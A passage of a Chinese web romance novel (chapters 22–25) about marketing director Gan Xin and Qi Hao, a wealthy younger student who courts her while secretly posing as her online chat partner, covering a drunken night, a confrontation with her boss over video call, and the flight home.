齐灏今天第三次握住了甘歆的手腕,看向她的眼神已经有些迷蒙,扯了个有点傻气的笑。 “姐姐,他们喝尽兴了。” 第22章 第22章我和小狗比起来,谁更乖一点…… “谁让你逞能的,喝那么多,”甘歆一边扶着齐灏,一边往他房间里送去,“他们又不能拿我怎么样,我顶多再喝两杯就不喝了,你倒好,往枪口上撞。” “不行。”齐灏站在门边,一手把住了门框,看向甘歆的眼睛都发直,“两杯都不行。” “瞎掺和,”甘歆拍开了他的手,把他往床上推,“怎么,以前不认识你我就没这种情况啦?” 齐灏不说话了,坐在床上沉思了一会儿,抬起头来看甘歆,眼睛里的担忧好像化为了实质,“以前……也有么?” “有啊,”甘歆边说边往门口走,把刚刚掉在门口的包捡了回来,放到齐灏房间的椅子上,“我都这岁数了,什么妖魔鬼怪没见过。” 齐灏的眉眼肉眼可见地皱了起来,脸上写满了难过,“……不想你遇见。” “你还挺霸道,”甘歆笑了笑,“你说不想我就能遇不见了?” 齐灏不说话,头也低着,不知道在想什么,双手撑在腿的两边,好像陷入沉思的雕塑,仿佛刚刚那个从饭店里火热的人,和他无关,不过是一场幻影。 “你自己脱鞋,上床睡觉,”甘歆嘱咐了两句,见他不动,又用脚背踢了他小腿两下,“齐灏?睡着了?” 他还是不动,头埋得更低了。 甘歆有些担心,蹲了下来,凑过去看他的表情。 整张脸都没什么异样,只有眼睛一直闭着,还有微微蹙起来的眉头,她想伸手拍一拍齐灏的肩膀,但刚伸过手,就被齐灏握住了,放到了他的脸颊上。 齐灏的眼睛睁开了,红血丝很明显,还有遮掩不住的心疼和依恋,他用脸颊轻轻蹭了蹭甘歆的手心,仿佛在触碰一尾即将飞走的羽毛、一片即将融化的冰,他嘴唇紧闭,却好像有千言万语。 握着甘歆的手很烫,齐灏的脸颊也很烫,眼睛里黑色的眸子仿佛要烧起来,热度将甘歆灼得有些莫名其妙,怎么才认识没多久的人,会有这样浓烈的情感。 她能确定的,是齐灏真的喝醉了。 “齐灏,”她柔声说,“睡觉了好不好?” “……好。”他呼出来的气都是热的。 动作虽然有些缓慢,但步步都在点子上,甘歆看着他脱掉外套外裤和袜子的动作,心里想,齐灏小时候肯定很乖,才会在喝了这么多酒之后,路都走不直了,还这么守规矩。 她帮齐灏掖好了被角,正准备离开,手又被他握住了。 “怎么了?需要什么?”甘歆凑上前去问,她无法对这样的齐灏狠心,何况这顿酒是他替她挡下来的。 “你。” 他说得直白,甘歆却当他是发酒疯。 “我是说……”齐灏已经接近呓语,“你等我……睡着了再走行不行。” 甘歆叹了口气,没办法和喝醉的人讲道理,“行,我等你睡着了再走。”她起身要去关灯,齐灏却拉着她的手不肯放,“我就去关个灯。” /:. “……不要,我眼睛闭起来就好了。” 甘歆便没再动了。 齐灏个高,手也大,几乎要将甘歆的整只手都包在手心里,不知道是不是因为喝了酒的关系,他的手心一直在出汗,这让甘歆想到了前天晚上自己的行李箱把手。 有些老旧的日光灯照在齐灏的脸上,甘歆突然有些没有实感,年轻、帅气、智慧、决断、多金、权力,齐灏这样一个近乎六边形拉满的男人,到底喜欢她什么呢? 自己难道对20岁的小男生也有魅力? 随着他呼吸逐渐平稳、绵长,手也慢慢松开了,甘歆刚刚往外抽一点,他又握紧,反复了这么几次后,甘歆索性也不动了。 夜长露深,这一天下来,甘歆也困得不行,两个眼皮直打颤,闭上了又强行睁开,再去看看睡在被子里的人。 他睡觉也规规矩矩的,不踢被子也不乱动,好像被摁在了楔子里。 几次困得点头后,甘歆最终还是趴在了床边睡着了。 次日醒来,却是她躺在床上,盖着被子,床边鞋袜都摆得整齐,身上的衣服没有动过。 房间里早已没有齐灏的身影,只有床头柜上灌满水的保温杯,提醒着她小男生的确醒得比她早一点。 事实上,昨晚半夜齐灏就醒了,看到趴在床边的甘歆还有点发愣,记起了前因后果后,只懊恼了一秒,其余都是欢喜。 他轻手轻脚地从床尾离开,走到甘歆面前的时候,还看到了她压着半边的脸,有些鼓,嘴也跟着嘟起来了,他想伸手去戳一下,但又怕惊醒她,仿佛她是出现在林子里的鹿,连踩断树枝都会让她远离。 她的拒绝在意料之中,但今夜又允许自己如此逾矩,齐灏高兴极了,他知道不该乘人之危但是太难得,难得得他不想错过。 不用在她面前刻意收敛心事,也不用再扮演假装未知的网友,此刻甘歆就在面前,在真正的齐灏面前。 他收拢了所有的力气,化作绕指柔将她捧入了床榻,再为她盖上了被子。 甘歆的纯在日光灯的下依旧红润、丰满,如噙满水的樱桃,让人垂涎,他想吻、想厮磨,想占尽她唇上所有的颜色,浸润到自己的肌理中。 因为喜欢,他将欲念都束之高阁,每一个动作里都多了五分克制,最放肆不过,也只是用指尖将她垂落在面颊上的发丝拨开,像拂走了一片云彩,轻盈缥缈。 齐灏在床前守了一夜,像个没名分的骑士,公主醒来以前,他得带着他的剑离开。 甘歆嗓子的确和着火一样,昨晚的酒是好酒,就是太烈,她拿过保温杯喝了一口水,才从被窝里出来。 其实在生活中,她的习惯并不好,随手乱放东西,床也不是每天都铺,但她今天仔仔细细地整理了一下,穿上鞋后才开了门出去。 和齐灏再碰面,是下楼吃早餐的时候,他依旧是晨跑的装束,这次没有先上楼冲澡,而是在甘歆身边坐了下来。 “昨晚谢谢。” 甘歆清了清嗓子,“谢谢你才是。” “……我,没说什么奇怪的话吧?” “没有没有。”甘歆极力否认。 “嗯。” 齐灏吃饭慢条斯理,即使喝的是粥,也感觉是国宴粥,明明吃的是咸鸭蛋,也能吃出一副限量版的范儿来。 “之前那个司机小哥来送我们吗?去高铁站还是机场?” “听你的。” “……我问你话呢。” “去机场。” “行。” 吃完饭后,齐灏还特意等了一下甘歆,“那我等会来接你。” “接我?”甘歆有些意外,“从这个门到那个门,算接?” “你没被人追过?”齐灏问,表情上已经有些不耐烦。 “没被人这么追过,”甘歆笑出来了都,“这才哪到哪,是不是太省力了啊弟弟,我要是在这途中答应你,你都能申请吉尼斯记 录了。” “那你要在途中答应我吗?” “想什么呢你,”甘歆强调道,“丑话我么说在前头,我劝你不要在我身上浪费时间,我们俩差太多了,无论哪方面。” 齐灏没再说话,直到甘歆快要关上门,他才抵住了,把那天晚上的话又重复了一遍,“我先追一阵,你没说不行。” “行行行,你追吧,追不上别怪我,粉转黑很可怕的。” 终于将门关上,甘歆才松了口气。 对于齐灏突如其来的感情,甘歆真不太懂,但又不敢去弄懂,年轻人太直白热烈,她无法将成年人世界里对感情的衡量直接转述,她怕适得其反。 车还没来,还能休息会儿,她半躺上了沙发,拿出手机打开了景页的对话框。 她发现,这两天他们竟然都没联系。 甘歆摇了摇头,轻叹了口气,果然网友什么的更不…… 叮叮—— 景页:“在做什么?” 甘歆笑了笑,回:“想起我来了?” 景页:“抱歉,刚忙完,没有停过,一直在想。” 甘歆面对景页无需伪装,连说话都显得松弛,“也没见你找我,被那个厉害的她缠住了吗?” 对话框里明显停顿了一会儿,才回复过来,“是我馋你。” 甘歆吓一跳,“别闹,现在不合适。” 幸好景页没有继续这个话题,转而关心起了别的,“你的小狗呢,乖吗?” 齐灏的脸冲进了甘歆的脑海里,“乖,也不乖……这两天有点非分之想,总想跳上床。” “你允许了吗?” “当然没有,爪子那么脏。” 景页那边停顿了一会儿,接着问道:“那我可以上你的床吗,姐姐?” 即使聊天露骨,但他们两个从未有过任何线下的交集,就算是这样的疑问,景页以前也从来不会问,这让甘歆有些奇怪,又觉得他提小狗的次数实在太多,“你最近很喜欢和小狗比较。” “所以和小狗比起来,谁更乖一点?” 他话里的情绪甘歆不明白,好像撒娇和嫉妒都沾上了一点,她当下就低头笑了笑,没有再打字,而是发了一条语音过去,“小狗比你乖,你比小狗坏,但你的爪子比小狗干净。” 不出所料,景页发了一张手的照片过来,没有任何装饰的手腕,修长的手指,连指甲盖儿都干干净净的透着粉,指节分明,细骨挑起来的弧度都好看。 就是……后面的窗框有些熟悉,暗红色的,她抬起了头想回忆在哪里看到过,就看到了自己房间的窗台,同样颜色的窗框,甘歆直直坐了起来,再打开景页的照片,却不那么肯定了。 他那边的天色好像暗一些,或许窗框的颜色只是因为光线不足而显得有些沉。 她从不打听他的生活与工作,即使甘歆有预感,如果她问,景页一定会说,可这么做的话,势必自己的生活里又多了一个人,情情爱爱的事也避免不了,她不想这样,这是甘歆自己拉起来的警戒线。 这么一怀疑,和景页互相撩拨的心思就淡了,简单说了下自己有事,两人便不再多话。 甘歆不知道的是,此刻,齐灏就站在她的门外。 故意露出来的窗框,是在挑战她的好奇心和窥探欲,只要她打开门,就能获悉一个真相。 他在甘歆筑起的高墙外,日日等待、夜夜守候,绞尽脑汁、用尽手段,等她固若金汤的城有一丝细微的裂缝。 齐灏并非不知道自己可以手动去敲、去砸开,但他实在不愿意让甘歆有任何不适。 他早就想好了,如果这座城会封一百年,那他就等一百年。 唯一庆幸的是,他在城外的叹息,甘歆听不到。 第23章 第23章我刚刚帅不帅? 回程的路上,甘歆以为还会是那辆H6来接,却没想到换了一辆GL8,行李也早就搬上了这辆车,本来是计划着吃完饭就走的,却没想到齐灏醉了。 周一是甘歆最忙碌的时候,即使出差在外,还需要线上会议,部门汇报刚刚结束,王潇就给她发了个会议邀请,说中层会议下午一点开始,希望她能够准时参加。 她下意识去想自己的航班,惊讶地发现自己并没有买回程机票。 GL8的车载空间很大,这次齐灏并没有和她坐在一排,而是自顾自地坐到了后排,甘歆回过身拍了拍他,“……我没买机票。” 能看出来齐灏本来是想笑的,但他忍住了,“想坐什么时候的?” “我不是让你买的意思,我就是……”甘歆看着齐灏的眼睛有些说不下去了,“五点以后的。” “知道了。”齐灏打开了手机似乎在联系什么人。 “不用我的身份证号?”甘歆对着他眨了眨眼睛。 “不用,值机的时候你直接拿出来就好了。” “……有钱真好啊。”甘歆发自内心地感叹。 齐灏的脸上露出了些无奈,摇了摇头,又说:“怎么买这么晚的?” “一点有个会,得参加一下,开完了估计三四点,候机什么的五点差不多?” “嗯,”齐灏抬了抬眉毛,“这么多会,那你刚刚开的是什么?” 甘歆给了他一个“你管我”的表情,想了想又揶揄了他两句,“太子爷不用开会的吗?” 齐灏难得针对这个称呼回应了一下她,表情虽然淡然,但还是多了份挑衅,“太子爷开会都是候着太子爷的时间。” 甘歆对着他比了个大拇指,就回过头自己坐着了。 这次路上没耽搁,连午饭都是司机买的汉堡快餐,在车上解决的,甘歆发现,齐灏并没有她想得那么闲,他坐在最后一排,手里拿了个平板,耳朵里塞着耳机,一脸认真,手里还不断地写着什么。 一路开到机场,已经十二点四十了,甘歆有点着急,迟迟见车没有停,还去问了一下司机小哥,得到的回复只是一句“快了”。 直到车停在贵宾休息室的楼前,甘歆才明白那句“快了”的意思,只是刚刚下车,就会有人迎上来,还有短途的接驳车,她没看清齐灏对着工作人员说了什么,就被请上了接驳车,连行李都没拿,嗖地一下就出发了。 接驳车停在了贵宾休息室最里面的那间房间门口,双开的大木门,进去后,与其说这是房间,不如被称为一个招待型的礼堂来得合适。整间屋子空旷,只有几个极为宽大的沙发,以及放在扶手边的方桌,巨大的落地窗边,还放着两个按摩椅,就连地上铺的地毯,甘歆都觉得绒毛比机场其他贵宾室的要长。 她才发现,有钱人的世界尚能窥探一角,顶级富豪的生活根本想象不到。 “还有五分钟,WiFi没有密码,来得及,”齐灏走到她身边,见甘歆有点愣神,碰了碰她的胳膊,“不开会了?” “开的。”甘歆找了个门边的沙发坐了下来,将电脑打开连接好WiFi,再去打量齐灏,就感觉他有些不真实。 最不真实的地方,是他身上一点铜臭味都没有,甚至看不到她之前见过一些大佬身上的侵略性。 他淡得好像一汪湖水,还掺杂着几块冰。 可对着自己,做的那些事全都透着暖意。 甘歆突然对他说的“追”有了比较清晰的认知,这些行为堆叠起来,她意识到,齐灏仿佛并不是说着玩玩的,而是认真地在对她好。 连随口一句的会议时间,他都帮忙记着了。 她还没回过神来,齐灏已经拿了一杯水放到了方桌上,还小声解释了一句保温杯在车上,还没拿过来。 可甘歆去握杯壁的时候,发现这杯水也是暖的。 谢谢还没说出口,她就被王潇请进了线上会议室,又错过了一个对齐灏道谢的机会。 中层会议大战一如既往,甩锅的甩锅、表彰的表彰,会议室里安装了摄像头,甘歆能够清晰地看到所有人的反应,通常一轮大战之后,沈确会简单说两句,但今天他却示意助理继续 ,脸色都很难看。 会议比想得更快结束,连一个小时都没到,甚至在该轮到甘歆发言的时候,沈确直接提了下一个议题直接跳过了她。 快散会的时候,王潇又来私敲甘歆,说沈总想和她单独聊一下,请她耐心稍等一会儿。 这并不是一个很好的信号。 好不容易将会议室里的人都熬走了,沈确站起来,靠在会议桌沿,“能看见我吗?” 这种不提公事的开头,让甘歆有些摸不着头脑,但还是直白回答了,“能。” “你摄像头不开?” 甘歆愣了一下,“嗯……在机场,不方便。” “你有什么要和我说的吗?”沈确抬起头来的时候,好像带着一点怒气。 “……北泽村现在倾向还挺明显的,他们已经——” “和项目没关系,其他没什么要和我说的了?” 甘歆脾气也上来,“我不知道您指的是什么,或者您可以直接问我。” “直接问你?”沈确发火的时候,通常都喜欢用反问句,“问你你能告诉我吗?” “沈总,”在工作上,甘歆不太愿意带情绪,“有什么我做的不对的地方,还请您指正。” “你到底带的谁去的北泽村?” 甘歆万万没想到的是这个问题,一瞬间抬起头来看向齐灏,恰好齐灏也看了过来,她吞咽了一口唾沫,一时间不知该如何回答,但还是在几秒内镇静下来了。 “徐老师的一个学生。”她想赌一个沈确在诈她的可能。 “是吗?”沈确的声音里带着些调笑,“看来徐老师是真有点本事,随便一个学生,在北泽村就能闹出这么大动静来。” 甘歆有些咂摸出味儿来了,还带着一丝侥幸,或许是齐灏的表现太过突出,让人留下了非常深刻的印象也说不定,“那个大学生的确不错。” 她正说着这句话的时候,齐灏已经站了起来,走到了甘歆身后。 “得你歆总青眼,不简单,”视频里的沈确左手已经抚上了额头,来回搓弄了两下,强装到此刻的镇定终于倒塌,几乎是带着点凶狠地说,“他到底是谁,我要你亲口说。” 纸果然包不住火,甘歆叹了口气,先是抱歉,又是解释,“沈总,实在对不起,我事先也不知道齐灏他是——但已经说了就……” “为什么不告诉我,嗯?”沈确皱着眉看向摄像头,甘歆觉得他是直直地盯着自己,“你知道他和寰科关系的第一时间,为什么不告诉我?” “……抱歉沈总,我不想节外生枝。” “甘歆,你带着寰科的少爷去北泽,然后告诉我你不想节外生枝,这话你自己信吗?” “沈总,我真的——” “因为他是齐灏,所以你选择不告诉我?你什么时候这么市侩了啊?” 甘歆的火彻底被沈确的这句话激出来了,“沈总,我再辩解一下,我事先并不知道,另外,他在北泽村也没有暴露身份,村民都不知道他是谁,而且事也办好了,很顺利,连饭都吃得很好,我不知道您为什么动这么大怒,如果您对我这么做依旧不满意的话,请您随意处罚。” “你知道你自己在说什么吗,这件事如果传出去,不管是保障房还是度假村,寰科的相关公司都会看过来,到时候晟宇就没有一点机会了,跟了我这么久又带了这么多项目,你怎么还一点都不谨慎呢?” 甘歆又想解释,被沈确的下一句话堵住了,“我是不是像公司里他们说的,对你太纵容了,导致你基本的商业意识都没了?!” 她气得想直接挂视频,肩膀却被身后的人拍了拍,齐灏摘掉了她的耳机,让沈确的声音公放开来。 “主管级别的人都不会犯的错误,你已经做到总监位置了,怎么还学不会站在公司的层面去考虑问题?” 她心里委屈,不爽更多,把笔记本往方桌上一放,脑子里闪现的都是自己奔命出差、和村民解释,又尽力喝酒的片段,她真的不知道,到底要把公司放置于多么前面的位置,才能让沈确觉得满足。 是,沈确是把她领上道的人,没错,她的本事至少有百分之七十是沈确教的,确实,沈确以前发火的时候也从不考虑她的感受。 但那时候是她做错了,她没做好。 这次她没做错,甚至表现得也很好,还在沈确犹豫的时候,帮他做了一个决定。 她不知道自己错在哪里,难道就错在带的人是齐灏吗?荒唐! “说话!”沈确几乎是喊过来的。 甘歆气得已经全身都绷紧了,脸上的血色都褪了些下去,连嘴唇都有些泛白,她调整了一下自己,想把电脑再拿回来说两句,却被齐灏拿了过去。 他坐到了甘歆的旁边,直接开了摄像头,对上屏幕里沈确的画面。 “下午好沈总,这么大火气。” 明明只是一句普通的问候,甘歆却觉得这不是他们两个对话的好时机,她想把电脑拿回来,却被齐灏摁住了手。 “小齐总,”沈确的身板挺直了,推了一下眼镜,对着镜头微微带笑,“几天不见,视察晟宇的项目吗?” “沈总多虑了,”齐灏依旧云淡风轻,“老师推荐的事项,我不好推脱,如有冒犯到,我向您赔不是。” 甘歆瞪了一眼齐灏,阴阳怪气。 “是我们市场总监让小齐总见笑了,您体谅。” 甘歆气得眼睛都闭上了,深深吸了一口气,神仙打架,平民倒霉。 “歆总很厉害,她教了我很多,您这么说她该伤心了,现在还气着呢。” “她就是被我惯坏了,”沈确的声音里带着自信,宣示着甘歆的归属权,“是我没教好,您几点的飞机?我去接您?” “沈总,”齐灏的声音冷了下来,带着青年鲜有的压迫,“你有没有想过,如果不是我来,她会被村民逼到什么地步?” 视频里的沈确噤了声,没有接齐灏的话。 “脏活儿找亲信,”齐灏冷笑了一声,“沈总真是舍得。” “小齐总——”沈确话里明显想打断他,却没来得及。 “难为歆总还掐着点要来开会,是我的话,心都凉了。” 甘歆抢电脑的手松了些,此刻真觉得心里难过,撇过头不再看电脑,以前她总觉得自己很了解沈确,现在却有些看不懂了,她认识的沈确会在他做错的时候狠骂,但也会在她被误会的时候为她撑腰,她从来没想过,有一天自己会被沈确当成一柄刀,扎进肮脏的泥沼里。 “她的确——” “寰科对北泽这块地没兴趣,歆总在知道我的情况后也与我确认过这件事,”齐灏难得将事情拆得很细告诉沈确,也带着些说教,“我想如果她知道有被插手的可能,一定不会让我掺和,沈总好好反思一下吧。” 谁都拿寰科的太子爷没办法,沈确也一样,面对更强的人,他只能低头,“我知道了,谢谢小齐总指点。” “既然晟宇这么想要这块地,”齐灏身上始终收敛的气场一点点散开,甘歆都感觉他整个人的气质变了,更加成熟、愈加锋利,“那我可以保证,这块地一定落在晟宇手里。” 她看向齐灏,好像知道他接下来说出的话会不得了一样。 “雅悦都跌停了,就别出来跳了。” 沈确明显一愣,话都说不出来了。 齐灏继续,“接机不必,听说任大小姐脾气不好,今天你可能没空。” 他连视频都没挂,直接把电脑合上了。 就算刚刚心里有预期,甘歆也没想到齐灏会正面刚沈确,毕竟他还没有真正在商界登场,可这一串话下来,包括沈确的反应,所有都在向甘歆宣告一件事。 他,齐灏,生来就有一席之地。 甘歆有些发懵,不知道该 怎么开口,选了个最不重要的,“雅悦大小姐是……” “沈确的助理,Rita任婷,你不知道吗?” 甘歆摇了摇头,“我只知道她家也挺有钱的,不知道她和雅悦的关系,不过沈确已经把她劝走了。” 齐灏不以为然,“哦,他俩的事挺多人知道的。” 她再看向齐灏,身上已经没了刚刚“杀神”一般的气息,又是一副普通的大学生模样。 齐灏也看了过来,对她挤了挤眼睛,淡然的表情全然化开,眉眼笑得弯弯,长长的睫毛都快触到下眼睑了,还用胳膊肘碰了碰他,积极得像一只急于等夸的小狗。 “我刚刚,帅不帅?” 第24章 第24章小狗回家了,不会再来了。…… “你没必要做到这地步,”直到坐上飞机,甘歆才对齐灏说,“本来这件事跟寰科也没有关系。” 回程的飞机依旧是头等舱,只不过这次齐灏主动坐到了甘歆的旁边,转过头看了她几秒,“抱歉,是我冲动了。” “……我不是这个意思,”甘歆当然知道齐灏是看不得自己被沈确误会才会插手,“本来我就想说你是个普通的大学生,对项目没有影响。” 她沉默了一秒,又继续说道:“没想过拿你的身份说事的,我知道你也不喜欢这样。” 这次倒是齐灏愣住了,迟迟看着甘歆不说话。 “干嘛啊,像看傻子一样看我,”甘歆用手背拍了他一下,“买个机票都这么大动静,你也不想的吧。” 舷窗外的夕阳打在了甘歆的侧脸上,澄黄色的光映进了她的瞳仁里,她看向齐灏的眼神温和。齐灏始终站在高位,即使小时候不理解,他依然保持着家族赋予他的姿态,坦然地接受来自各方的仰望,可他现在却从甘歆的眼神里读到了一些悲悯,他瞬间觉得自卑,又觉得温暖,不自觉地想要乞求更多。 “那我刚刚这么做,你生气了吗?”他问得很小心,几乎是试探。 甘歆笑了一下,整个人往椅背上一靠,眼睛又瞥了他一下,“不生气啊,我从来没见过沈确说不出话来的样子,很爽。” “看他没办法你很爽?”齐灏有些不理解。 “以前吧,”甘歆的声音低了下去,自然地说着自己的事,“我做得不对不好的时候,他也会骂我,他训人很厉害,公司里很少有人能不被他骂,他很严格,也很厉害,我们都是打心眼儿里的服,没觉得自己哪顿骂是白挨的。” 她又叹了口气,“这次……他多少对我有点卸磨杀驴的意思了,而且又因为关于你莫须有的事情来骂我,我的确没沉住气。”甘歆停了停,对着齐灏问:“Rita有晟宇的股份吗,你可别告诉我晟宇是夫妻老婆店。” “不是,但是晟宇这几年在沈确手里稳步壮大,和持有雅悦的股份也有关系,”齐灏说到这里停了下来,反问甘歆,“这种事情你要听吗?” “听啊,”甘歆对着齐灏侧了侧身,笑了笑,“太子爷亲口说八卦给我听,传到坊间也是一桩美谈了,以后人家见我都得让三分。” 齐灏也笑了,清了清嗓子,也靠在了椅背上,还特意往下陷了一些得以和甘歆平视,即使知道头等舱里现在只有他们两个,连乘务员都不会在没有呼唤铃的时候打扰,他还是压低了嗓音,像真的在说小道消息一样。 “先前沈董事长投资失败,晟宇遭受重创,他身体也垮了,晟宇到沈确手里的时候,资金链已经不太行了,当时有很多家公司想要将他们吞掉,沈确生生都扛了下来,最难的时候,是雅悦让了一笔单子给他做的人情,后来晟宇壮大,雅悦却始终没什么水花,主动出让了部分股份给沈确,是投机也是提醒,希望他赚钱的时候也想着雅悦一点。” 甘歆听得入迷,下意识开了口,“那沈确和Rita订婚……” “应该是雅悦的一厢情愿,毕竟现在晟宇风华正茂,投资人都接待不过来,雅悦肯定在思考能够更加深度绑定的关系,恰巧Rita也有这方面的心思。” 她想到了那天晚上在地下车库里听到的那些话,沈确表明的态度很坚定,可Rita好像也有些有恃无恐的样子,“沈家希望他们俩结婚?” “当然,”齐灏说得肯定,“瘦死的骆驼比马大,何况雅悦只是市场份额占得不高而已,他们在酒店这块还是很有实力的。” 听到这里,甘歆有些释然了,也难怪沈确发这么大火,这块地手心是晟宇手背是雅悦,还有桩婚事卡在中间,他估计心里也乱吧。 她的沉默让齐灏有些好奇,“怎么不说话了?” 甘歆呼了一大口气,看向齐灏皱了皱眉,“这些事都有年头了吧,你才多大,怎么知道得这么清楚?” 齐灏无奈地笑了笑,“反正不是我主动打听的。” “哎你早上在车里,忙活什么呢?” “开会啊,大小姐,”齐灏长叹了一口气,脸上有着不符合他年龄的成熟,“周一也不会放过我。” “你不是说……”甘歆朝他抬了抬眼睛,“太子爷开会都是候着太子爷的时间吗?” “那不是你正好在忙么?” “我?” “嗯,”齐灏定了定眼神,表情认真,“我候着你的时间。” 这句话太过直白露骨,甘歆有些不敢去看他的眼睛,齐灏所有的事情都做得自然,行云流水一般,没有哪里让她觉得不舒服,甚至有的时候感觉不到他在为她做点什么,他也什么都不提,只是偶尔会说出这么一两句有冲击力的话来,提醒她,这个人说要追自己。 但她并非是一个只会躲闪的人,在这种不着调的行为上,如果可以,她更愿意将齐灏对她的这种心思矫正,至少让他明白,他们两个之间的不同,“你为什么要追我啊?” 齐灏似乎没想到甘歆会这么问,一时也不知该如何回答。 “好奇?想尝尝姐弟恋的苦?”甘歆越说越觉得好笑,也真的控制不住地笑了出来,他齐灏要什么样的女人没有,来招惹她干什么,“总不见得是因为喜欢我。” “为什么不是,你很差吗?” “我很大,弟弟,你叫我阿姨,我都能应下来。” 齐灏脸色肉眼可见地难看了下去,从桌上拿了个之前乘务员给的果冻,放到甘歆面前,“吃果冻吗?” 哎呀,桃子味儿的,她喜欢,伸手就去抓,然后就这么双手握着放在身前,刚刚问齐灏的问题好像也不一定要问出个答案来了,她眼睛慢慢闭了起来,说话也慢了下去,“……困了,醒了再吃。” 飞机已经到达了平飞高度,客舱内的灯光也暗了下来,甘歆的身上早就盖上了毯子,齐灏看着她埋在栗红色发丝里的半边脸,和记忆中每周都会出现在楼道里的大姐姐模样几乎没有变化,那时候只要她去203室,整个楼道都会很热闹,她那胖胖的奶奶就会在楼道里挨家送点饺子,说孙女回来了包得多,邻里邻居地分一点。 楼里的孩子都喜欢围着她,长得漂亮,说话也好听,还会给小屁孩们带礼物,有的时候是棒棒糖,有的时候是果冻,甚至是小蛋糕,都是甜甜的东西。 她也从来不会忽视任何一个人,往往会对着站在最边缘不善言辞的小齐灏招招手,说:“长睫毛弟弟,你也来。” 看着甘歆捏着个果冻睡着的模样,齐灏心中泛着酸软,心里念叨着哪里有一点阿姨的样子,人还没老,倚老卖老这套倒学得顺溜,可一想到桃子的香甜气息,又忍不住和她一起闭上眼睛,试图钻进她的梦里。 甘歆直到落地那刻才醒,天已经全黑了,和平时下午睡觉醒来的天黑感觉不一样,她下意识去看手机,齐灏就告诉她几点了,还说了一会儿怎么回家的安排,刚睡醒的她有些发懵,觉得自己好像很久没有被照顾得这么周全。 这些感激在坐上来接他们的迈巴赫时,又成了下意识的远离,她没有让齐灏停在小区门口,而是隔了一两条马路就让靠边了,虽然这里说租的房子,但是她和保安还有对面学校传达室里的大叔处得还算熟悉,不想给自 己招没必要的麻烦。 齐灏本来想帮她拿箱子,甘歆坚持说不用,拿过箱子的时候他还收了一下力,她带着疑问看向了齐灏,“嗯?” “你……”齐灏搜刮了半天,只找到了一件正经事,“活动安排记得看。” “哦,这个,好的,你是回家还是回学校?” 齐灏不假思索,“回学校。” “不回家吗?”甘歆像个大人一般问他。 “我能跟你回家吗?”齐灏没有回答甘歆的问题,抛了个更难的给她。 面对男孩子的调戏,甘歆向来有办法,她对着齐灏笑了笑,“回学校吧,好好洗个澡,我现在还能闻到你身上的酒味儿。” 话刚说完,没等齐灏反应,她便转身走了,在她心里,和齐灏出的这一趟差,应该是与这个太子爷最后的交集,将他说过的那些话都当作一场醉话,是最好也是最美的句点。 她无心伤害齐灏,所以也从未正经劝说过他什么,只用行动告诉他,追这么两天,过过瘾就得了。 夜的黑笼罩在这个城市的街道上,晦暗的路灯都无法将树影映照得斑驳,连齐灏站在路边的叹息,融在风里都模糊。 又站了许久之后,齐灏坐进了车里,迟迟没有说目的地。 连这个城市的司机都要比北泽那边的沉默,似乎已经习惯了这个天之骄子的规律,每每上车之后,齐灏总会安静很久,才说出想去的地方,司机从不忤逆、从不建议,他太清楚齐家这个少爷的手段,即使现在他还未毕业,老爷子已经有点拿他没辙了,好几个月不回老宅,就只能念叨他两句,话里话外也只是让他回去看看爷爷。 “去江边吧。” 终于等到了他的吩咐,黄牌的迈巴赫起步,在昏暗潮湿的街道里缓缓穿梭。 甘歆回到家收拾完后,收到了景页的消息,“今天小狗有跟你回家吗?” 没由来地,看见这句话她心里空了一下,想到以后可能自己不会再见齐灏的决定,她想了想,打了一行字过去,“小狗回家了,不会再来了。” 齐灏蜷在飘窗一角,看着玻璃上落下雨点,逐渐凝聚成水痕,再慢慢滑落到最底部,一道道好像都砸进了自己的心里。 他拍了一张落满雨滴的玻璃窗,上面映出了自己的样子,他想戳破、想撕裂,想扯开这层自己亲手盖起来的迷雾,让她清晰地看到,他身上所有的光与影,只因她闪烁。 可他最终没有将这张照片发送出去,只是回了她一句,便将脑袋埋进了弯起的膝盖里。 “姐姐,下雨了。” 第25章 第25章姐姐,你要等我。 一个多月后。 F大的活动论坛办得很顺利,后续执行甘歆都没有参与,大多都是张然与对方对接的,期间张然还拿了那边的流程表给甘歆看,简洁、清晰、专业,和她说就算是工作了一两年的都不一定能做到这个程度,变相夸甘歆带人带得好。 甘歆笑笑不说话,倒是张然凑了过来,“这个女生不错,也有实习意愿,要不要招进公司里来?” “女生?”甘歆有些意外,心里打了个问号,这个流程表不是齐灏做的吗? “不知道哎,”张然叹了口气,“也不知道是不是你福气好,我对接的时候就是这个女生了,连你说的那个小帅哥都没看到。” “活动当天呢,他没来?” 张然摇了摇头,“现场我是没见着特别扎眼的男生,我也不认得。” “那致辞的是院长吗,圆桌是徐教授么?”甘歆一一确认,她倒不是信不过齐灏的人品,主要是担心其他人因为他的不参加而缺席。 “是是是,学院里重量级的教授都来了,上学的时候我还没见过这么全的排场呢,”张然笑了笑又说,“徐教授还特意和我提起了你,问我你怎么没来呢,说以后有机会要和你道谢,你又做了什么好人好事了?” “和我道谢?”甘歆有些不明白,“我也没做什么啊。” 话音刚落,她就想起来两周前和齐灏出差的时候,老徐提供了两个电话号码以备不时之需,但并未用上,难道是齐灏记在心里了? “哎呦我们歆总又做好事不留名咯,又多了一个粉丝。” “说什么呢,”甘歆点了点桌面上的文件,“哎,这里面可有些纰漏啊,快去再核对一下,不然我去申请扣工资了。” 张然吐了吐舌头,“知道啦,这就去,歆总手下留情。” “快去吧。”甘歆朝她扬了扬下巴。 她打开了老徐的微信,出差回来后老徐也没有联系过他,或许是因为不太好留下记录所以特意当面说的?齐灏……这么细心的吗? 自从那天和他告别,齐灏再也没有来找过甘歆,她一直以为是齐灏和张然在对接具体事项,所以也没有多过问,今天看来,这些事也不是他在做。 怎么回事,人间蒸发了? 甘歆挥了挥手,让自己不要再去思考这个小男生的事,不见了也好,省得再来点语不惊人死不休的话,再折腾她一通,她可没那个地中海时间搞这些。 她看了下日程,下面一个会安排在半小时后,她计划下楼买杯咖啡,松散下精神。 等电梯的时候,先是上行的电梯先来,停留在他们这个楼层时候,她在轿厢里看到了Rita,还对她挑眉笑了笑,甘歆以为Rita是在和她打招呼,没想到自己在叫出Rita的名字之后,她转头去和身边的人讲话,并没有搭理自己。 有一瞬间的尴尬,但她几乎秒懂了,Rita离不离开晟宇,都是雅悦的千金,沈确无论如何不会阻碍她的来访。 甘歆突然觉得有些透不过气,以前她觉得自己已经看得足够多了,可听了晟宇和雅悦的故事,才明白自己只是个门外汉,豪门和豪门之家,自有相处的办法,这种办法也只有身处豪门的人才能洞察一二。 